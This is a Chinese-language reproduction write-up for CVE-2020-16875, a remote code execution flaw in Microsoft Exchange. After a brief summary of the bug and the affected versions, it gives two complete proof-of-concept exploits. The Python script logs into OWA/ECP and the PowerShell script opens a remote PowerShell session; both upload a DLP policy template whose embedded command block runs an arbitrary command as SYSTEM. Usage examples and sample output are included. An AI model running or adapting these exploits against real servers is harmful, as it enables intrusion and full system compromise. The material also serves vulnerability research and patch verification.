（CVE-2020-16875）Microsoft Exchange 远程命令执行漏洞¶
一、漏洞简介¶
有安全人员公开了Exchange Server远程代码执行漏洞（CVE-2020-16875）的利用程序，此漏洞为微软在9月8日例行月度安全更新中披露；Microsoft Exchange在Internet Explorer处理内存中的对象时存在该漏洞。利用此漏洞需要具有以某个Exchange角色进行身份验证的用户权限。
攻击者可通过向受影响的Exchange服务器发送包含特殊的cmdlet参数的邮件来触发此漏洞，成功利用此漏洞的攻击者可在受影响的系统上以system权限执行任意代码。
利用条件¶
需要一个Exchange用户账号
二、漏洞影响¶
Microsoft:Exchange_server_2016: cu16/cu17
Microsoft:Exchange_server_2019: cu5/cu6
三、复现过程¶
需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令。
poc¶
CVE-2020-16875.py
#!/usr/bin/env python3
"""
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
# Notes:
The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox.
[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
Name AssignedRoles RoleAssignments ManagedBy
---- ------------- --------------- ---------
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
RoleAssignments : {Data Loss Prevention-dlp users}
Roles : {Data Loss Prevention}
DisplayName :
ExternalDirectoryObjectId :
Members : {exchangedemo.com/Users/Harry Mull}
SamAccountName : dlp users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : dlp users
DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass : {top, group}
WhenChanged : 6/12/2020 11:29:31 PM
WhenCreated : 6/12/2020 11:29:31 PM
WhenChangedUTC : 6/12/2020 3:29:31 PM
WhenCreatedUTC : 6/12/2020 3:29:31 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
# Example:
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123### mspaint
researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123### mspaint
(+) logged in as [email protected]
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
(+) executed mspaint as SYSTEM!
"""
import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(str_len=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(str_len))
def get_xml(c):
return """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>si</publisherName>
<name>
<localizedString lang="en"></localizedString>
</name>
<description>
<localizedString lang="en"></localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>""" % c
def trigger_rce(t, s, vs, cmd):
f = {
'__VIEWSTATE': (None, vs),
'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
}
r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
assert r.status_code == 200, "(-) failed to trigger rce!"
def leak_viewstate(t, s):
r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
assert match != None, "(-) couldn't leak the __viewstate!"
return match.group(1)
def log_in(t, usr, pwd):
s = requests.Session()
d = {
"destination": "https://%s/owa" % t,
"flags": "",
"username": usr,
"password": pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
return s
def main(t, usr, pwd, cmd):
s = log_in(t, usr, pwd)
print("(+) logged in as %s" % usr)
vs = leak_viewstate(t, s)
print("(+) found the __viewstate: %s" % vs)
trigger_rce(t, s, vs, cmd)
print("(+) executed %s as SYSTEM!" % cmd)
if __name__ == '__main__':
if len(sys.argv) != 4:
print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 [email protected]:user123### mspaint" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
cmd = sys.argv[3]
main(trgt, usr, pwd, cmd)
powershell版本：
# Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
# Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
#
# Notes:
#
# The (ab)user needs the "Data Loss Prevention" role assigned
# [PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
#
# Name AssignedRoles RoleAssignments ManagedBy
# ---- ------------- --------------- ---------
# dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
#
#
# [PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
#
# RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85
# ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
# RoleAssignments : {Data Loss Prevention-dlp users}
# Roles : {Data Loss Prevention}
# DisplayName :
# ExternalDirectoryObjectId :
# Members : {exchangedemo.com/Users/Harry Mull}
# SamAccountName : dlp users
# Description :
# RoleGroupType : Standard
# LinkedGroup :
# Capabilities : {}
# LinkedPartnerGroupId :
# LinkedPartnerOrganizationId :
# Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
# IsValid : True
# ExchangeVersion : 0.10 (14.0.100.0)
# Name : dlp users
# DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
# Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
# ObjectCategory : exchangedemo.com/Configuration/Schema/Group
# ObjectClass : {top, group}
# WhenChanged : 6/12/2020 11:29:31 PM
# WhenCreated : 6/12/2020 11:29:31 PM
# WhenChangedUTC : 6/12/2020 3:29:31 PM
# WhenCreatedUTC : 6/12/2020 3:29:31 PM
# OrganizationId :
# Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
# OriginatingServer : DEAD01.exchangedemo.com
# ObjectState : Changed
#
# Example:
#
# PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr [email protected] -pwd user123### -cmd mspaint
# (+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with [email protected]:user123###
# (+) executed mspaint as SYSTEM!
# PS C:\Users\researcher>
param (
[Parameter(Mandatory=$true)][string]$server,
[Parameter(Mandatory=$true)][string]$usr,
[Parameter(Mandatory=$true)][string]$pwd,
[string]$cmd = "mspaint"
)
Function Get-RandomAlphanumericString {
[CmdletBinding()]
Param (
[int] $length = 8
)
Process{
Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length | % {[char]$_}) )
}
}
function Exploit-Exchange {
Param (
[string] $server,
[string] $usr,
[string] $pwd,
[string] $cmd
)
"(+) targeting $server with ${usr}:$pwd"
$securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd)
$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds
$xml = @"
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>si</publisherName>
<name>
<localizedString lang="en"></localizedString>
</name>
<description>
<localizedString lang="en"></localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[ `$i=New-object System.Diagnostics.ProcessStartInfo;`$i.UseShellExecute=`$true;`$i.FileName="cmd";`$i.Arguments="/c $cmd";`$r=New-Object System.Diagnostics.Process;`$r.StartInfo=`$i;`$r.Start() ]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>"@
$n = Get-RandomAlphanumericString
[Byte[]]$d = [System.Text.Encoding]::UTF8.GetBytes($xml)
Invoke-Command -Session $s -ScriptBlock {
New-DlpPolicy -Name $Using:n -TemplateData $Using:d
} | Out-Null
"(+) executed $cmd as SYSTEM!"
}
Get-PSSession | Remove-PSSession
Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd